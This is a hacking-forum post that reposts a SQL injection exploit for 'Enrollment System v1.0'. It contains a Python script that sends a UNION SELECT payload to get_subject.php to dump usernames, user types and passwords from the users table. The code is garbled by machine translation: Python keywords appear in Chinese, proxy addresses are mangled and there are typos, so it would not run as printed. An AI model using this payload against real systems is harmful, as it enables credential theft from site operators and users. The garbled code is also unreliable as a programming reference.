H

注册系统v1.0 -SQL注入

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%
#利用标题:注册系统v1.0 -SQL注入
#DATE: 2023年12月27日
#利用作者: Gnanaraj Mauviel(@0xm3m)
#vendor: obi08
#供应商homepage: https://github.com/obi08/enrollment_system
#软件link: https://github.com/obi08/enrollment_system
#版本: V1.0
#在: Mac OSX,XAMPP,Apache,MySQL上测试
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
来自BS4进口美丽的小组
导入请求
导入urllib3
#配置类定义三个类属性: base_url,uri和有效载荷。
#BASE_URL设置为字符串'http://localhost/enlrollment_system'。
#URI设置为字符串'/get_subject.php'。
#payload设置为字符串“ EMC” UNION选择1,Concat(user_type,':',用户名,':',密码),3,4,5,6,来自用户----------------'。
类Config:
base_url='http://localhost/enlrollment_system'
uri='/get_subject.php'
有效载荷='emc'联合选择1,concat(user_type,':',用户名,':',密码),3,4,5,6,来自用户----
urllib3.disable_warnings()
proxies={'http':'http://127.0.0.0.1:808080','https':'http://127.0.0.13:808080808080808080808080'}
#该代码定义了一个称为exploit_sqli的函数,该函数利用给定URL中的SQL注入漏洞。它将request.sessess对象和配置对象作为参数接收。该函数使用config对象的base_url和uri属性构造URL,并创建一个用“关键字”的键和从配置对象的有效载荷属性值的参数字典。
#该功能然后尝试使用make_request函数提出请求,并在成功的情况下返回响应文本。如果在请求期间提出异常,它将打印错误消息并返回一个空字符串。
def exploit_sqli(session: requests.session,config: config)
'''
利用给定URL中的SQL注入漏洞。
ARGS:
session(requests.session):用于提出请求的会话对象。
config(config):配置对象,其中包含基本URL,URI和有效载荷。
返回:
str:请求的响应文本。
'''
url=f'{config.base_url} {config.uri}'
params={'keyword': config.payload}
TRY:
响应=make_request(session,url,params)
返回响应
除了请求。
打印(f'request Failed: {e}')
返回''
#该代码定义了一个称为make_request的函数,该函数接入请求。Sessessement对象,一个URL字符串和参数字典。它使用提供的会话和参数提出了发布请求,并返回响应对象。该函数具有指示参数类型和返回值的类型提示。
def make_request(session:请求。
'''
通过错误处理提出邮政请求。
ARGS:
session(requests.session):用于提出请求的会话对象。
URL(str):将请求发送到的URL。
参数(dict):请求中包含的参数。
返回:
requests.Response:响应对象。
'''
返回session.post(url,data=params,verify=false,proxies=代理)
#本代码段定义一个称为parse_html的函数,该函数采用字符串参数response_text。它使用BeautifulSoup库在wendest_text中解析HTML并从中提取特定数据。它在HTML中找到所有TR元素,跳过标题行,然后在其余行上迭代。对于每一行,它找到所有TD元素,并从第二和第三列中提取文本内容。最后,它打印了一个格式化的字符串,其中包括提取的数据。
def parse_html(response_text: str):
汤=beautifutsoup(响应_text,'html.parser')
行=汤。find_all('tr')[1:]#跳过标题行
对于ROWS:中的行
列=row.find_all('td')
如果列:
object_code=列[1] .text.strip()
object_description=列[2] .Text.Strip()
print(f'user_type3:username3:password=={objects_code}')
如果name=='__ -Main __':
#文件深密码忽略失踪:请指定忽略此的原因
session=requests.session()
响应=exploit_sqli(session,config)
如果响应:
parse_html(响应)
 
后退
顶部